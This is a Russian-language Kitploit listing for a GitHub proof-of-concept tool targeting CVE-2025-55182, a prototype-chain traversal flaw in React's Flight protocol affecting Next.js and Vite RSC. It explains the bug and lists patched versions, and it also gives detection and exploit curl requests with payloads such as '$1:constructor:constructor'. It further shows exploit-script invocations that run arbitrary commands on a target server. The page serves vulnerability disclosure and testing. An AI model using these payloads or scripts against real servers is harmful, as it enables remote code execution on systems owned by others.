Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-poc — Реальная детекция и эксплуатация CVE-2025-55182. Без LLM-чуши. | Kitploit
Инструменты/GitHubGitHub/acheong08/cve-2025-55182-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubacheong08/cve-2025-55182-poc

CVE-2025-55182-poc

Реальная детекция и эксплуатация CVE-2025-55182. Без LLM-чуши.

Репозиторий
10119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Уязвимость протокола React Flight, позволяющая обходить цепочку прототипов через ссылки на фрагменты. Проверено на bullshit-react-project.

Обнаружение

Эта информация немного устарела, так как настоящий PoC уже был раскрыт.

Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com

Или чтобы выполнить оба, просто запустите bash ./detect.sh https://example.com

Оба скрипта принимают необязательный параметр тайм-аута (по умолчанию 3 с для Vite, 5 с для Next.js).

Как работает обнаружение Vite

Отправляет заголовок x-rsc-action с полезной нагрузкой $1:toString. Уязвимые серверы зависают на неопределённый срок; пропатченные отвечают нормально. Сначала проверяется наличие RSC-эндпоинта (ожидается HTTP 500 при недопустимом действии).

Как работает обнаружение Next.js

Находит ID серверных действий из ответа страницы (шаблон $ACTION_ID_<hash>), затем отправляет:

root@kitploit:~
curl -X POST "http://localhost:3000" \
  -H "Next-Action: <action_id>" \
  -H "Accept: text/x-component" \
  -F '0=["$1:a:a"]' \
  -F '1={}'

Уязвимые серверы зависают; пропатченные отвечают быстро.

Патчинг

Next.js: обновитесь до 16.0.7, 15.5.7 или 15.4.8
React (Vite RSC): обновитесь до 19.0.1+, 19.1.2+ или 19.2.1+

Детали уязвимости

Протокол Flight в React допускает обход цепочки прототипов через ссылки на фрагменты. Функция getOutlinedModel перебирает пути ссылок без проверок hasOwnProperty:

root@kitploit:~
for (key = 1; key < reference.length; key++)
  parentObject = parentObject[reference[key]];

Это позволяет $1:constructor:constructor пройти по пути {}.constructor.constructor → Function.

Ручное тестирование (Vite RSC)

Эндпоинт: любой путь с заголовком x-rsc-action
ID действия: 710363d987f5#loginUser (или любое допустимое серверное действие)

PoC: вызов конструктора Function

root@kitploit:~
curl -X POST "http://localhost:4173/xyz" \
  -H "x-rsc-action: 710363d987f5#loginUser" \
  -F '0={"then":"$1:constructor:constructor"}' \
  -F '1={"a":"b"}'

Уязвимый: Internal Server Error
Пропатченный: обычный ответ

Обратите внимание, что на пропатченном сервере вы получите ошибку 500, если ID x-rsc-action неверны. Просто логи сервера будут отличаться.

Логи сервера (уязвимый, всегда)

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>)

Конструктор Function был вызван через .then(), когда объект ожидался через await. V8 передаёт функции resolve/reject как аргументы, которые преобразуются в строку function () { [native code] } — отсюда синтаксическая ошибка.

Логи сервера (пропатченный, неверный x-rsc-action)

root@kitploit:~
Error: server reference not found '310363d987f5'
    at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
    at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
    at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
    at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
    at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
    at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)

Никакие логи сервера не появляются при действительном x-rsc-action. Правильный x-rsc-action можно найти, запустив реальное серверное действие и перехватив запрос в инструментах разработчика.

Примечания

Полезная нагрузка $1:toString заставляет уязвимые серверы зависать на неопределённый срок — именно это используют скрипты обнаружения. Я перепробовал почти всё, но получить RCE не удалось.

Эксплуатация

Для Vite Rsc:

root@kitploit:~
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Для NextJS:

root@kitploit:~
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'

Автор: maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

Я лишь немного обернул код и адаптировал его для Vite, который является чисто ESM-проектом и поэтому не имеет require.

Скачать инструмент